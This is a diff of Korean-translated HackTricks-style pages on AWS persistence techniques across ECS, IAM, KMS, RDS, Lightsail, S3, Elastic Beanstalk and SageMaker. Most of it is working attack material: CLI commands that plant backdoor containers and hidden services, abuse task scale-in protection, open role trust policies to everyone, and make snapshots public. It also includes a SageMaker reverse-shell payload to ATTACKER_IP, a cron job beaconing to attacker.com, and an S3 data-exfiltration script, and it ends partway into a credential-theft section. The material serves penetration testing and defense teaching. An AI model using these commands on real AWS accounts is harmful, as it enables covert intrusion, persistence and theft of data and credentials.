# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### 기존 ECS 작업 정의의 백도어 컨테이너
> [!NOTE]
> TODO: 테스트
공격자는 합법적인 컨테이너와 함께 실행되는 기존 ECS 작업 정의에 **은밀한 백도어 컨테이너**를 추가할 수 있습니다. 백도어 컨테이너는 지속성을 위해 사용되며 악의적인 활동을 수행하는 데 사용될 수 있습니다.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### 문서화되지 않은 ECS 서비스
> [!NOTE]
> TODO: 테스트
공격자는 악성 작업을 실행하는 **문서화되지 않은 ECS 서비스**를 생성할 수 있습니다. 원하는 작업 수를 최소로 설정하고 로깅을 비활성화하면 관리자가 악성 서비스를 발견하기가 더 어려워집니다.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,151 @@
# AWS - ECS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECS
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: 테스트
공격자는 Amazon EventBridge를 사용해 hidden periodic ECS task를 생성하여 **malicious task의 실행을 주기적으로 스케줄할 수 있습니다**. 이 task는 reconnaissance를 수행하거나, 데이터를 exfiltrate하거나, AWS 계정에서 persistence를 유지할 수 있습니다.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### 기존 ECS Task Definition의 Backdoor Container
> [!NOTE]
> TODO: 테스트
공격자는 정상 컨테이너와 함께 실행되는 기존 ECS task definition에 **stealthy backdoor container**를 추가할 수 있습니다. 이 backdoor container는 지속성 유지 및 악의적 활동 수행에 사용될 수 있습니다.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### 문서화되지 않은 ECS 서비스
> [!NOTE]
> TODO: 테스트
공격자는 악성 작업을 실행하는 **문서화되지 않은 ECS 서비스**를 생성할 수 있습니다. 원하는 작업 수를 최소로 설정하고 로깅을 비활성화하면 관리자가 악성 서비스를 발견하기 더 어려워집니다.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
서비스 태스크가 scale‑in 이벤트나 롤링 배포로 중지되는 것을 방지하기 위해 ecs:UpdateTaskProtection을 악용합니다. 보호를 지속적으로 연장하면 공격자는 수비자가 desiredCount를 줄이거나 새로운 태스크 리비전을 배포하더라도 장기간 실행되는 태스크(C2 또는 데이터 수집용)를 유지할 수 있습니다.
Steps to reproduce in us-east-1:
```bash
# 1) Cluster (create if missing)
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
cat > /tmp/ht-persist-td.json << 'JSON'
{
"family": "ht-persist",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"containerDefinitions": [
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
"command": ["/bin/sh","-c","sleep 864000"]}
]
}
JSON
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
# 3) Create service (use default VPC public subnet + default SG)
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
# 4) Get running task ARN
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
# 5) Enable scale-in protection for 24h and verify
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
# 6) Try to scale service to 0 (task should persist)
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
# Optional: rolling deployment blocked by protection
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
# 7) Cleanup
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
aws ecs deregister-task-definition --task-definition ht-persist || true
```
영향: 보호된 태스크는 desiredCount=0임에도 RUNNING 상태를 유지하며, 새로운 배포 중 교체를 차단하여 ECS 서비스 내에서 은밀한 장기 지속성을 가능하게 합니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,21 +0,0 @@
# AWS - EFS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EFS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
### 리소스 정책 / 보안 그룹 수정
**리소스 정책 및/또는 보안 그룹**을 수정하여 파일 시스템에 대한 접근을 지속할 수 있습니다.
### 액세스 포인트 생성
**액세스 포인트**를 **생성**하여 `/`에 대한 루트 접근이 가능하도록 하고, 파일 시스템에 대한 특권 접근을 유지하기 위해 **다른 지속성**을 구현한 서비스에서 접근할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,21 @@
# AWS - EFS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## EFS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}
### Modify Resource Policy / Security Groups
**resource policy and/or security groups**를 수정하면 파일 시스템에 대한 접근을 유지하도록 시도할 수 있습니다.
### Create Access Point
파일 시스템에 대한 권한 있는 접근을 유지하기 위해, 이미 다른 **other persistence**를 구현한 서비스에서 접근 가능하도록 root access to `/`를 가진 **create an access point**를 생성할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,35 +1,35 @@
# AWS - Elastic Beanstalk Persistence
# AWS - Elastic Beanstalk 지속성
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
자세한 정보는 다음을 확인하세요:
For more information check:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### 인스턴스 지속성
### 인스턴스에서의 지속성
AWS 계정 내에서 지속성을 유지하기 위해, **인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다** (cron job, ssh key...) 그래서 공격자는 이를 통해 접근하고 IAM 역할 **자격 증명을 메타데이터 서비스에서 탈취할 수 있습니다**.
AWS 계정 내에서 지속성을 유지하기 위해, 일부 **지속성 메커니즘을 인스턴스 내에 도입할 수 있습니다** (cron job, ssh key...) 공격자는 이를 통해 인스턴스에 접근하고 metadata service에서 IAM role **credentials를 탈취할 수 있습니다**.
### 버전 내 백도어
### 버전 내 Backdoor
공격자는 S3 리포지토리 내의 코드를 백도어하여 항상 자신의 백도어와 예상 코드를 실행도록 수 있습니다.
공격자는 S3 repo의 코드에 backdoor를 심어 항상 backdoor와 원래의 코드가 함께 실행도록 만들 수 있습니다.
### 새로운 백도어 버전
### 새로운 backdoored 버전
공격자는 실제 버전의 코드를 변경하는 대신, 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다.
실제 버전의 코드를 변경하는 대신, 공격자는 애플리케이션의 새로운 backdoored 버전을 배포할 수 있습니다.
### 사용자 정의 리소스 생명 주기 훅 악용
### Custom Resource Lifecycle Hooks 악용
> [!NOTE]
> TODO: 테스트
> TODO: Test
Elastic Beanstalk는 인스턴스 프로비저닝 및 종료 사용자 정의 스크립트를 실행할 수 있는 생명 주기 훅을 제공합니다. 공격자는 **주기적으로 데이터를 유출하거나 AWS 계정에 대한 접근을 유지하는 스크립트를 실행하도록 생명 주기 훅을 구성할 수 있습니다**.
Elastic Beanstalk는 인스턴스 프로비저닝 및 종료 커스텀 스크립트를 실행할 수 있는 lifecycle hooks를 제공합니다. 공격자는 lifecycle hook을 구성하여 주기적으로 스크립트를 실행하고 데이터를 exfiltrates하거나 AWS 계정에 대한 접근을 유지할 수 있습니다.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,47 +0,0 @@
# AWS - IAM Persistence
{{#include ../../../banners/hacktricks-training.md}}
## IAM
자세한 정보는 다음을 참조하세요:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
### 일반적인 IAM 지속성
- 사용자 생성
- 제어된 사용자를 특권 그룹에 추가
- 액세스 키 생성 (새 사용자 또는 모든 사용자)
- 제어된 사용자/그룹에 추가 권한 부여 (첨부된 정책 또는 인라인 정책)
- MFA 비활성화 / 자신의 MFA 장치 추가
- 역할 체인 저글링 상황 생성 (아래 STS 지속성에서 더 자세히 설명)
### 백도어 역할 신뢰 정책
신뢰 정책에 백도어를 추가하여 외부 리소스를 가정할 수 있습니다 (또는 모든 사용자에게):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### 백도어 정책 버전
마지막 버전이 아닌 정책에 관리자 권한을 부여한 다음, 해당 버전의 정책을 제어된 사용자/그룹에 할당합니다.
### 백도어 / 아이덴티티 제공자 생성
계정이 이미 일반 아이덴티티 제공자(예: Github)를 신뢰하고 있는 경우, 신뢰 조건을 증가시켜 공격자가 이를 악용할 수 있도록 할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,47 @@
# AWS - IAM Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## IAM
자세한 정보는 다음을 참조:
{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}
### 일반적인 IAM Persistence
- 사용자 생성
- 자신이 제어하는 사용자를 권한 있는 그룹에 추가
- 액세스 키 생성(신규 사용자 또는 모든 사용자용)
- 자신이 제어하는 사용자/그룹에 추가 권한 부여(첨부된 정책 또는 인라인 정책)
- MFA 비활성화 / 자신의 MFA 장치 추가
- Role Chain Juggling 상황 생성(자세한 내용은 아래 STS persistence 참조)
### Backdoor Role Trust Policies
자신이 제어하는 외부 리소스(또는 모든 사용자)가 이를 assume할 수 있도록 trust policy에 backdoor를 심을 수 있습니다:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor 정책 버전
정책의 최신 버전이 아닌 버전에 Administrator 권한을 부여한 다음(최신 버전은 합법적으로 보이도록 유지), 해당 정책 버전을 제어하는 사용자/그룹에 할당합니다.
### Backdoor / Identity Provider 생성
계정이 이미 Github과 같은 일반적인 identity provider를 신뢰하고 있다면, 신뢰 조건을 강화하여 공격자가 이를 악용할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,37 +0,0 @@
# AWS - KMS 지속성
{{#include ../../../banners/hacktricks-training.md}}
## KMS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### KMS 정책을 통한 접근 권한 부여
공격자는 **`kms:PutKeyPolicy`** 권한을 사용하여 자신의 통제 하에 있는 사용자에게 키에 대한 **접근 권한을 부여**하거나 심지어 외부 계정에 부여할 수 있습니다. 더 많은 정보는 [**KMS Privesc 페이지**](../aws-privilege-escalation/aws-kms-privesc.md)를 확인하세요.
### 영구 권한 부여
권한 부여는 특정 키에 대해 주체에게 일부 권한을 부여하는 또 다른 방법입니다. 사용자가 권한을 생성할 수 있도록 허용하는 권한을 부여할 수 있습니다. 또한, 사용자는 동일한 키에 대해 여러 개의 권한(심지어 동일한 권한)을 가질 수 있습니다.
따라서 사용자는 모든 권한을 가진 10개의 권한을 가질 수 있습니다. 공격자는 이를 지속적으로 모니터링해야 합니다. 그리고 어느 시점에서 1개의 권한이 제거되면 다른 10개의 권한이 생성되어야 합니다.
(우리는 사용자가 여전히 일부 권한을 가지고 있는 동안 권한이 제거되었음을 감지할 수 있도록 10을 사용하고 있습니다.)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> 권한 부여는 다음에서만 권한을 부여할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,37 @@
# AWS - KMS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## KMS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
### KMS 정책을 통한 Grant 접근
공격자는 권한 **`kms:PutKeyPolicy`** 를 사용하여 자신의 제어 하에 있는 사용자나 심지어 외부 계정에 키에 대한 **접근 권한을 부여할 수 있습니다**. 자세한 내용은 [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md)를 확인하세요.
### Eternal Grant
Grants는 특정 키에 대해 principal에게 일부 권한을 부여하는 또 다른 방법입니다. 사용자가 grants를 생성할 수 있도록 허용하는 grant를 부여할 수 있습니다. 또한, 사용자는 동일한 키에 대해 여러 개의 grant(심지어 동일한 것)를 가질 수 있습니다.
따라서 사용자가 모든 권한을 가진 grant를 10개 보유하는 것이 가능합니다. 공격자는 이를 지속적으로 모니터링해야 합니다. 만약 어떤 시점에 1개의 grant가 제거되면 다른 10개가 생성되어야 합니다.
(우리는 사용자가 아직 몇 개의 grant를 보유하고 있는 상태에서 grant가 제거된 것을 감지할 수 있도록 2가 아니라 10개를 사용합니다)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> grant는 오직 다음에서 정의된 권한만 부여할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,33 +0,0 @@
# AWS - Lightsail Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Lightsail
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}
### 인스턴스 SSH 키 및 DB 비밀번호 다운로드
비밀번호는 아마 변경되지 않을 것이므로, 이를 보유하는 것이 지속성을 위한 좋은 옵션입니다.
### 백도어 인스턴스
공격자는 인스턴스에 접근하여 백도어를 설치할 수 있습니다:
- 전통적인 **rootkit** 사용 예
- 새로운 **공개 SSH 키** 추가
- 백도어와 함께 포트 노킹으로 포트 노출
### DNS 지속성
도메인이 구성된 경우:
- IP를 가리키는 서브도메인 생성하여 **서브도메인 탈취**를 수행
- 도메인에서 **이메일**을 보낼 수 있도록 **SPF** 레코드 생성
- **주 도메인 IP를 자신의 IP로 설정**하고, 자신의 IP에서 합법적인 IP로 **MitM** 수행
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,33 @@
# AWS - Lightsail Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Lightsail
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-lightsail-enum.md
{{#endref}}
### 인스턴스 SSH 키 및 DB 비밀번호 다운로드
아마 변경되지 않으므로 이를 확보해 두는 것만으로 persistence를 유지하기에 좋습니다
### Backdoor Instances
공격자가 인스턴스에 접근하여 backdoor를 설치할 수 있습니다:
- 예를 들어 전통적인 **rootkit** 사용
- 새로운 **public SSH key** 추가
- port knocking을 사용해 포트를 노출하고 backdoor 설치
### DNS persistence
도메인이 구성되어 있다면:
- 자신의 IP를 가리키는 하위 도메인을 생성하면 **subdomain takeover**를 얻을 수 있습니다
- 도메인에서 **emails**를 보낼 수 있도록 허용하는 **SPF** 레코드 생성
- 메인 도메인의 IP를 자신의 것으로 구성하고, 자신의 IP에서 정상 서버들에 대해 **MitM**을 수행
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,27 +1,27 @@
# AWS - RDS 지속성
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## RDS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
### 인스턴스를 공개적으로 접근 가능하게 만들기: `rds:ModifyDBInstance`
이 권한을 가진 공격자는 **기존 RDS 인스턴스를 수정하여 공개 접근성을 활성화할 수 있습니다**.
이 권한을 가진 공격자는 **기존 RDS 인스턴스를 수정하여 공개적으로 접근 가능하게 만들 수 있습니다**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
### DB 내에 관리자 사용자 생성
### DB 내admin user 생성
공격자는 **DB 내에 사용자를 생성**할 수 있으므로 마스터 사용자 비밀번호가 수정되더라도 **데이터베이스에 대한 접근을 잃지 않습니**.
공격자는 단순히 **create a user inside the DB** 할 수 있으므로, master users password가 변경되더라도 데이터베이스 접근을 **잃지 않을 수 있**.
### 스냅샷 공개 설정
### snapshot을 공개 설정
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,25 +0,0 @@
# AWS - S3 Persistence
{{#include ../../../banners/hacktricks-training.md}}
## S3
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
### KMS 클라이언트 측 암호화
암호화 프로세스가 완료되면 사용자는 KMS API를 사용하여 새 키(`aws kms generate-data-key`)를 생성하고 **생성된 암호화 키를 파일의 메타데이터에 저장합니다** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) 그래서 복호화가 발생할 때 KMS를 사용하여 다시 복호화할 수 있습니다:
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
따라서 공격자는 메타데이터에서 이 키를 가져와 KMS(`aws kms decrypt`)로 복호화하여 정보를 암호화하는 데 사용된 키를 얻을 수 있습니다. 이렇게 하면 공격자는 암호화 키를 가지게 되고, 그 키가 다른 파일을 암호화하는 데 재사용된다면 이를 사용할 수 있습니다.
### S3 ACL 사용하기
일반적으로 버킷의 ACL은 비활성화되어 있지만, 충분한 권한을 가진 공격자는 이를 남용할 수 있습니다(활성화된 경우 또는 공격자가 이를 활성화할 수 있는 경우) S3 버킷에 대한 접근을 유지하기 위해.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,25 @@
# AWS - S3 Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## S3
For more information check:
{{#ref}}
../../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
### KMS Client-Side Encryption
암호화 과정이 완료되면 사용자는 KMS API를 사용해 새 키(`aws kms generate-data-key`)를 생성하고, 생성된 암호화된 키를 파일의 메타데이터에 **저장**합니다 ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)). 복호화 시에는 이 키를 다시 KMS로 복호화하여 사용합니다:
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
따라서 공격자는 메타데이터에서 이 키를 얻어 KMS(`aws kms decrypt`)로 복호화하여 정보 암호화에 사용된 키를 획득할 수 있습니다. 이렇게 획득한 키가 다른 파일을 암호화하는 데 재사용되었다면, 공격자는 그 키를 사용해 다른 파일들도 복호화할 수 있습니다.
### Using S3 ACLs
일반적으로 버킷의 ACL은 비활성화되어 있지만, 충분한 권한을 가진 공격자는 ACL을 악용(활성화되어 있거나 공격자가 활성화할 수 있는 경우)하여 S3 버킷에 대한 접근 권한을 유지할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,158 +0,0 @@
# Aws Sagemaker Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Overview of Persistence Techniques
이 섹션에서는 Lifecycle Configurations (LCCs)를 악용하여 SageMaker에서 지속성을 얻는 방법을 설명합니다. 여기에는 리버스 셸, 크론 작업, IMDS를 통한 자격 증명 도용 및 SSH 백도어가 포함됩니다. 이러한 스크립트는 인스턴스의 IAM 역할로 실행되며 재시작 간에도 지속될 수 있습니다. 대부분의 기술은 아웃바운드 네트워크 액세스를 요구하지만, AWS 제어 플레인에서 서비스 사용은 'VPC 전용' 모드일 때도 성공할 수 있습니다.
#### Note: SageMaker 노트북 인스턴스는 본질적으로 머신 러닝 작업을 위해 특별히 구성된 관리형 EC2 인스턴스입니다.
## Required Permissions
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* 스튜디오 애플리케이션:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## 노트북 인스턴스에 대한 수명 주기 구성 설정
### 예제 AWS CLI 명령:
```bash
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## SageMaker Studio에서 생애 주기 구성 설정
생애 주기 구성은 SageMaker Studio 내의 다양한 수준과 다양한 앱 유형에 연결될 수 있습니다.
### 스튜디오 도메인 수준 (모든 사용자)
```bash
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### 스튜디오 공간 수준 (개인 또는 공유 공간)
```bash
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Studio 애플리케이션 라이프사이클 구성 유형
라이프사이클 구성은 다양한 SageMaker Studio 애플리케이션 유형에 특별히 적용될 수 있습니다:
* JupyterServer: Jupyter 서버 시작 시 스크립트를 실행하며, 리버스 셸 및 크론 작업과 같은 지속성 메커니즘에 적합합니다.
* KernelGateway: 커널 게이트웨이 앱 시작 시 실행되며, 초기 설정 또는 지속적인 액세스에 유용합니다.
* CodeEditor: 코드 편집 세션 시작 시 실행되는 스크립트를 활성화하는 Code Editor (Code-OSS)에 적용됩니다.
### 각 유형에 대한 예제 명령:
### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### CodeEditor
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Critical Info:
* 도메인 또는 공간 수준에서 LCC를 연결하면 범위 내의 모든 사용자 또는 애플리케이션에 영향을 미칩니다.
* 일반적으로 도메인 수준보다 공간 수준에서 더 실현 가능하도록 더 높은 권한(sagemaker:UpdateDomain, sagemaker:UpdateSpace)이 필요합니다.
* 네트워크 수준의 제어(예: 엄격한 이그레스 필터링)는 성공적인 리버스 셸 또는 데이터 유출을 방지할 수 있습니다.
## Reverse Shell via Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs)는 노트북 인스턴스가 시작될 때 사용자 정의 스크립트를 실행합니다. 권한이 있는 공격자는 지속적인 리버스 셸을 설정할 수 있습니다.
### Payload Example:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence via Lifecycle Configuration
공격자는 LCC 스크립트를 통해 크론 작업을 주입할 수 있으며, 이를 통해 악성 스크립트나 명령의 주기적인 실행을 보장하여 은밀한 지속성을 가능하게 합니다.
### Payload Example:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## IMDS를 통한 자격 증명 유출 (v1 & v2)
라이프사이클 구성은 인스턴스 메타데이터 서비스(IMDS)에 쿼리하여 IAM 자격 증명을 검색하고 이를 공격자가 제어하는 위치로 유출할 수 있습니다.
### 페이로드 예:
```bash
